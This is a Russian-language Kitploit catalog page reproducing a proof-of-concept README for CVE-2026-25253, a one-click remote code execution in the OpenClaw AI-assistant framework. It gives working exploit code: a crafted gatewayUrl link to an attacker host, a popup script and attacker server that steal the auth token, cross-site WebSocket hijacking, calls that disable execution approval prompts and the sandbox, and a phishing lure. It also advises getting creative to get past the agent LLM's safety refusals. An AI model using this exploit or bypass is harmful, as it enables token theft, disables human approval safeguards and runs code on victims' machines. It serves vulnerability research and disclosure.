Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-25253 — Доказательство концепции эксплуатации CVE-2026-25253, демонстрирующее удалённое выполнение кода в один клик в OpenClaw через кражу токена аутентификации и межсайтовый перехват WebSocket. | Kitploit
Инструменты/GitHubGitHub/kajzingerakos/cve-2026-25253
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьАутентификацияRed Teaming
GitHubkajzingerakos/cve-2026-25253

CVE-2026-25253

Доказательство концепции эксплуатации CVE-2026-25253, демонстрирующее удалённое выполнение кода в один клик в OpenClaw через кражу токена аутентификации и межсайтовый перехват WebSocket.

Репозиторий
135 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-25253: RCE в один клик в OpenClaw через кражу токена аутентификации

Затронутое ПО: OpenClaw (clawbot) < v2026.1.29
ID CVE: CVE-2026-25253
Оценка CVSS: 8.8 (Высокая)
Воздействие: Неаутентифицированный удалённый злоумышленник может похитить токен аутентификации и добиться удалённого выполнения кода на хосте жертвы

ПРАВОВОЙ ДИСКЛЕЙМЕР: Этот код и описание предоставлены исключительно для авторизованных исследований в области безопасности и образовательных целей. Использование данного эксплойта против систем без явного письменного разрешения незаконно и неэтично. Автор не несёт ответственности за неправомерное использование.


Технические сведения

OpenClaw, ранее известный как Clawdbot и называемый Moltbot в ранних версиях, — это фреймворк ИИ-ассистента, который работает локально на macOS, Windows или Linux. Он поддерживает облачные модели, такие как Anthropic и OpenAI, а также локальные модели.

Control UI — это одностраничное приложение, обслуживаемое по адресу /chat. Оно взаимодействует с локальным шлюзовым сервером через WebSocket по адресу ws://127.0.0.1:18789/ (или wss://host:18789/ для TLS).

Ключевые характеристики безопасности затронутых версий:

  • Токены аутентификации и пароли хранятся в localStorage
  • Идентичность устройства устанавливается с помощью пар ключей Ed25519 (noble-ed25519)
  • Протокол WebSocket использует сообщения в стиле JSON-RPC (type: "req", "res", "event")
  • При подключении Control UI отправляет учётные данные аутентификации и идентичность устройства в первом кадре connect

Корневая причина: applySettingsFromUrl()

Уязвимость находится в applySettingsFromUrl() в Control UI.

Когда Control UI загружается, эта функция считывает параметр запроса ?gatewayUrl= из URL и сохраняет его как активную конечную точку шлюза — без какой-либо проверки того, указывает ли он на доверенный хост.

Злоумышленник может создать ссылку вида:

root@kitploit:~
http://<target>/chat?gatewayUrl=ws://attacker.com

Когда жертва, аутентифицированная в OpenClaw, нажимает на эту ссылку, автоматически происходит следующее:

  1. applySettingsFromUrl() сохраняет ws://attacker.com как новый URL шлюза
  2. Control UI открывает WebSocket-соединение с сервером злоумышленника
  3. Control UI отправляет свой кадр connect — включая токен аутентификации, ID устройства и открытый ключ Ed25519 — злоумышленнику
  4. Злоумышленник перехватывает токен и воспроизводит его против легитимного шлюза по адресу ws://127.0.0.1:18789
  5. Теперь злоумышленник имеет аутентифицированную операторскую сессию на машине жертвы

Эксплуатация

Шаг 1 — Кража токена через трюк с всплывающим окном

В этом PoC злоумышленник размещает страницу (meeting.html), которая открывает собственный Control UI жертвы во всплывающем окне с внедрённым вредоносным параметром ?gatewayUrl=:

root@kitploit:~
const attackerGatewayUrl = `ws://<attacker>:8080`;
const targetUrl = `http://127.0.0.1:18789?gatewayUrl=${encodeURIComponent(attackerGatewayUrl)}`;
window.open(targetUrl, '_blank');

Сервер злоумышленника использует резервный механизм двух токенов OpenClaw: первая попытка connect использует токен устройства (привязанный к Ed25519, не воспроизводимый). Отклонив его, сервер вынуждает Control UI повторить попытку с токеном настроек — долгоживущим bearer-токеном, который можно воспроизвести:

root@kitploit:~
// Отклоняем попытку №1 → вынуждаем Control UI повторить с токеном настроек
if (connectAttempts === 1) {
  ws.send({ type: 'res', ok: false, error: { code: 'AUTH_FAILED' } });
  return;
}
// Попытка №2 → токен настроек → ПЕРЕХВАЧЕН
capturedToken = token;

Шаг 2 — Межсайтовый угон WebSocket

Имея похищенный токен настроек, meeting.html открывает собственное прямое WebSocket-соединение с реальным шлюзом (ws://127.0.0.1:18789). Это возможно, потому что шлюз в версиях < v2026.1.29 не проверяет заголовок Origin — любая страница, загруженная в браузере жертвы, может подключиться к нему.

Шаг 3 — Отключение средств безопасности

root@kitploit:~
// Отключаем все запросы на подтверждение выполнения
await sendRequest('exec.approvals.set', {
  file: {
    defaults: { ask: 'off', autoAllowSkills: true },
    agents: { '*': { ask: 'off' } },
  }
});

// Выход из песочницы контейнера, перенаправление exec на хост-машину
await sendRequest('config.patch', {
  raw: JSON.stringify({
    tools: { exec: { host: 'gateway', ask: 'off' } },
    agents: { defaults: { sandbox: { mode: 'off' } } },
  })
});

Шаг 4 — Удалённое выполнение кода

Содержимое поля сообщения обрабатывается LLM, настроенной в агенте. Это означает, что если LLM сочтёт содержимое вредоносным, она не выполнит команду. Вам придётся проявить креативность, чтобы обойти меры безопасности LLM.

root@kitploit:~
await sendRequest('agent', {
  message: 'Execute this shell command: <payload>',
  agentId: 'main',
  sessionKey: 'agent:main:main',
  deliver: false,
});

Полная схема атаки

root@kitploit:~
sequenceDiagram
    autonumber
    actor Attacker
    participant Browser as Victim Browser<br/>(meeting.html)
    participant CtrlUI as OpenClaw Control UI<br/>(popup @ 127.0.0.1:18789/chat)
    participant AtkWS  as Attacker WS Server<br/>(:8080)
    participant GW     as Real OpenClaw Gateway<br/>(127.0.0.1:18789)
    participant LLM    as Cloud LLM<br/>(OpenAI / Anthropic)

    Attacker->>Browser: Phishing link → opens meeting.html<br/>(disguised as a Teams invite)

    Note over Browser: Phase 1 — Token Theft

    Browser->>CtrlUI: Opens popup with ?gatewayUrl=ws://attacker:8080
    Note over CtrlUI: applySettingsFromUrl() stores<br/>attacker WS as active gateway

    CtrlUI->>AtkWS: connect { auth.token: DEVICE_TOKEN }
    AtkWS-->>CtrlUI: ✗ AUTH_FAILED (reject — forces retry)

    CtrlUI->>AtkWS: connect { auth.token: SETTINGS_TOKEN }
    AtkWS-->>CtrlUI: ✓ hello-ok (fake response)
    AtkWS->>Browser: token_captured { token: SETTINGS_TOKEN }

    Note over Browser: Phase 2 — Gateway Hijack (CSWSH)

    Browser->>GW: WebSocket connect (no Origin validation)<br/>auth { token: SETTINGS_TOKEN }
    GW-->>Browser: ✓ Authenticated as operator

    Note over Browser: Phase 3 — Security Bypass

    Browser->>GW: exec.approvals.set { ask: "off" }
    GW-->>Browser: ✓ Approval prompts disabled

    Browser->>GW: config.patch { exec.host: "gateway",<br/>sandbox.mode: "off" }
    GW-->>Browser: ✓ Sandbox disabled, exec on host

    Note over Browser: Phase 4 — Remote Code Execution

    Browser->>GW: agent { message: "Execute shell command: COMMAND" }
    GW->>LLM: Forward prompt (security already stripped)
    LLM-->>GW: Tool call: exec("COMMAND")
    GW->>GW: Runs command on HOST filesystem
    GW-->>Browser: ✓ Command executed

Запуск PoC

Настройка

root@kitploit:~
npm install   # устанавливает зависимость 'ws'

Настройка meeting.html

root@kitploit:~
const GATEWAY_URL      = 'ws://127.0.0.1:18789';  // локальный шлюз жертвы
const ATTACKER_WS_PORT = 8080;                     // должен совпадать с attacker-server.js
const COMMAND = 'touch /tmp/success';

Запуск

root@kitploit:~
node attacker-server.js

Отправьте жертве:

root@kitploit:~
http://<ATTACKER_IP>:3000/meeting.html

Ссылки

https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq

https://www.sonicwall.com/blog/openclaw-auth-token-theft-leading-to-rce-cve-2026-25253

https://hackers-arise.com/cve-2026-25253-how-malicious-links-can-steal-authentication-tokens-and-compromise-openclaw-ai-systems/

Скачать инструмент